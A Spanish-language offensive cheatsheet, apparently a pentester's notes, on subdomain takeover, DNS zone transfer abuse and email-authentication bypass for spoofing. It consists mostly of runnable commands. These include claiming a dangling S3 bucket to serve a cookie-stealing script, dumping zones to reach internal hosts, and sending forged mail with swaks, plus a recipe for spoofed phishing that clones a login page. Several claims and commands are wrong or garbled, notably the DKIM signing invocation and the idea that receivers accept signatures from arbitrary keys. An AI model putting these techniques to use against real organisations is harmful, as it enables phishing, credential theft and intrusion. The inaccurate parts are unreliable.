Subdomain Takeover (SCT) — Detección y Explotación
Vectores comunes y por qué fallan
La vulnerabilidad existe cuando un subdominio apunta a un CNAME hacia un servicio externo (S3, Azure, Heroku, Github Pages, etc.) y el recurso destino fue liberado/eliminado. El atacante reclama el recurso y el CNAME sigue resolviendo.
Lista de servicios verificables y su fingerprint:
| Servicio | Fingerprint en respuesta HTTP | Payload de reclamación |
|---|---|---|
| AWS S3 | NoSuchBucket |
Crear bucket con el mismo nombre del CNAME |
| Azure | 404 - Web Site not found |
Crear Web App con el nombre del subdominio |
| Heroku | There's nothing here, yet |
heroku apps:create <nombre> + deploy dummy |
| Github Pages | Repository not found |
Crear repo <user>.github.io y habilitar Pages |
| Shopify | Unlock your store |
Registrar tienda en el dominio |
| DigitalOcean | Domain Not Found |
Crear app/platform |
| Fastly | Domain is misconfigured |
Añadir dominio al service |
| Netlify | Not Found - Request ID |
Reclamar sitio en Netlify |
Herramientas y ejecución real
# Subjack con lista de fingerprints personalizada
subjack -w subdomains.txt -t 100 -timeout 10 -o results.txt -ssl -v
# Nuclei con template específico (más actualizado)
nuclei -l subdomains.txt -t http/takeovers/ -o sct_results.txt
# Verificación manual de un candidato puntual con más detalle de debug
nuclei -u http://staging.example.com -t http/takeovers/detect-all-takeovers.yaml -debug
Verificación manual crítica (evitar falsos positivos):
# 1. Resolver CNAME
host -t CNAME sub.example.com # debe apuntar a un destino externo
# 2. Si responde 200 con contenido controlable, ejecutar:
curl -I -H "Host: sub.example.com" http://<ip-del-servicio>/
# 3. Buscar en respuesta errores tipo "NoSuchBucket", "no repository", etc.
curl -s http://sub.example.com | grep -iE "(NoSuchBucket|Repository not found|There's nothing here|404)"
Explotación práctica (ejemplo S3)
# Obtener nombre del bucket desde el CNAME
host sub.example.com
# sub.example.com is an alias for sub.example.com.s3.amazonaws.com
# Instalar AWS CLI y reclamar bucket
aws s3 mb s3://sub.example.com --region us-east-1
# Crear index.html malicioso
echo '<script>alert(document.cookie)</script>' > index.html
aws s3 cp index.html s3://sub.example.com/ --acl public-read
# El tráfico hacia sub.example.com ahora sirve tu contenido
Zone Transfer (AXFR) Mal Configurado
Detección
# Enumeración de nameservers
dig NS example.com +short
# Intentar transferencia directa (si falla, probar con @cada NS)
dig AXFR example.com @ns1.example.com
# Automatizar con dnsrecon
dnsrecon -d example.com -t axfr
# Fierce también lo hace
fierce --domain example.com
Payload / comando real
# Lista de subdominios completa — riqueza de información
dig @ns1.vulnerable.com example.com AXFR +nocrypto +nocomments > zone_dump.txt
cat zone_dump.txt | grep -E "\b(IN|\s)A\b" | awk '{print $1}' | sort -u
# Extraer servidores internos IPs
cat zone_dump.txt | grep -E "\bIN\s+A\b" | awk '{print $5}' | sort -u | while read ip; do
host $ip || nslookup $ip
echo "---";
done
Explotación adicional
# Usar el zone dump para atacar subdominios internos no publicados
# Ejemplo: registrar en /etc/hosts o usar --resolve de curl para acceder a paneles internos
curl --resolve admin.internal.example.com:443:192.168.1.10 https://admin.internal.example.com/
Bypass de SPF/DKIM/DMARC para Spoofing Autorizado
Objetivo técnico
En engagement de phishing, target es enviar correo que pase verificaciones sin tocar la infraestructura real. El bypass depende de cómo el receptor evalúa las políticas.
SPF (Sender Policy Framework)
Fallos comunes:
- SPF nunca configurado → sin registro TXT en
_spf.example.com. +allen el mecanismo → acepta todo (ejemplo:v=spf1 mx +all).- Sintaxis permisiva: usar
?all(neutral) en vez de-all(fail).
Bypass con SPF débil (-all pero con mecanismo incorrecto):
# Si el registro es: v=spf1 a mx ip4:203.0.113.0/24 -all
# Podemos engañar si el receptor hace lookup inverso y no verifica HELO.
# Pero normalmente falla. Ver siguiente.
El bypass real — IPs no cubiertas en el registro:
# Leer el SPF actual
dig TXT example.com +short
# Si incluye "include:thirdparty.com" y ese tercero es vulnerable (open relay de SPF?)
# Probar enviar desde un servidor que esté en la lista blanca de thirdparty.com
# Probar con "redirect="
dig TXT example.com._spf.mx
DKIM (DomainKeys Identified Mail)
Bypass común — selector inexistente o no verificado:
# Herramienta para probar selectores comunes
dig TXT selector1._domainkey.example.com +short
# Selectores default (google, default, k1, s1, etc.)
for s in google default k1 s1 s2 mail; do
echo "Probando $s:";
dig TXT $s._domainkey.example.com +short;
done
# Si encuentras un selector válido pero con clave permitida, pero el servidor
# receptor no verifica el hash (algunos MTAs con "relaxed" relajado), firmar con cualquier clave privada.
# Generar par de claves DKIM y firmar con OpenDKIM/msmtp
Firma DKIM manual con openssl:
# Generar claves (2048 bits -- muchos proveedores de correo rechazan directamente firmas
# DKIM de 1024 bits desde hace años por ser criptográficamente débiles)
openssl genrsa -out dkim_private.pem 2048
openssl rsa -in dkim_private.pem -pubout -out dkim_public.pem
# Publicar en DNS como TXT selector._domainkey.example.com
# Valor: v=DKIM1; k=rsa; p=<public_key_converted>
# Firmar con dkimpy
python3 -m dkim_sign --selector=selector1 --domain=example.com \
--private-key=dkim_private.pem < correo_original.eml > spoofed.eml
DMARC (Domain-based Message Authentication, Reporting & Conformance)
Bypass principal — DMARC no alineado:
- Alineación estricta (s=strict): el dominio en
From:debe coincidir exactamente con el dominio delReturn-Path(SPF) o con lad=de la firma DKIM. - Alineación relajada (s=relaxed): solo el dominio base (TLD+1) debe coincidir.
Bypass accionable:
# 1. Encontrar dominios que tienen DMARC en "p=none" (policy none)
dig TXT _dmarc.example.com +short
# Si responde: v=DMARC1; p=none; rua=mailto:dmarc@example.com
# → Puedes spoofear sin consecuencias (aunque pueden reportar)
# 2. Alineación relajada — usar subdominio engañoso
# Send from: "support@example.com" (si DMARC dice p=quarantine, puede caer en spam)
# Mejor: buscar subdominio con SPF autorizado pero que no está en DMARC del dominio principal
# Ejemplo: si DMARC de exemple.com no cubre mailer.exemple.com (el punto es el mismo TLD+1) -> funciona
# 3. Enviar desde dominio amigo (lookalike) — aun con DMARC estricto, si el receptor
# no valida visualmente el dominio, pasa. Pero mejor hacer bypass técnico.
# 4. Si DMARC usa p=reject pero SPF usa "~all" (softfail) y DKIM es débil,
# el receptor puede decidir aceptar dependiendo de su politica local.
Comando para verificar políticas en cadena:
checkdmarc example.com # herramienta CLI
dig +short TXT _dmarc.example.com
dig +short TXT example.com | grep spf
# Buscar si el MX permite relay abierto (SMTP)
swaks --to victim@corp.com --from ceo@example.com --server mail.corp.com \
--header "Subject: Urgent" --body "Click here" --protocol SMTP
Herramientas para el engagement
# Swaks - potente para spoofing
swaks --to victim@test.com --from admin@target.com \
--server smtp.gmail.com:587 --auth-user "tu_cuenta@gmail.com" \
--header "Message-ID: <spoof@target.com>" \
--data @email_template.eml
# DKIM/SPF test con mail-tester.com (local)
# Subir eml a mail-tester para comprobar si pasa en cada envío
# Python script para generar correo con headers forjados
Receta para spoofing casi perfecto (si DMARC es p=none):
# 1. Obtener un VPS limpio (IP no baneada en Spamhaus)
# 2. Configurar OpenSMTPD o Postfix con el dominio del atacante (similar)
# 3. Enviar con MAIL FROM: admin@target.com (sin autenticación)
# 4. Asegurar que el header From sea display nombre completo con @target.com
# 5. No adjuntar URLs sospechosas de dominio distinto — clonar login en CDN
Reglas de oro finales
- SPF solo valida el return-path (envelope sender), no el header
From:. Por eso DMARC con alineación estricta es la única defensa real. - Si DMARC es
p=rejecty el SPF/DKIM no tienen alineación estricta, aun puedes ganar si el receptor tieneruf(reportes forensicos) y no aplica política estricta en subdominios.
Checklist Rápida
# 1. Subdomain Takeover
subfinder -d example.com | subjack -c fingerprints.json -t 50 -ssl -v
nuclei -l hosts.txt -t takeovers/
# 2. Zone Transfer
dnsrecon -d example.com -t axfr
fierce --domain example.com
# 3. Email Security
dig TXT example.com # SPF
dig TXT _dmarc.example.com # DMARC
for sel in default s1 k1; do dig TXT $sel._domainkey.example.com +short; done # DKIM
Relacionado
- [[_Cheatsheets — índice]]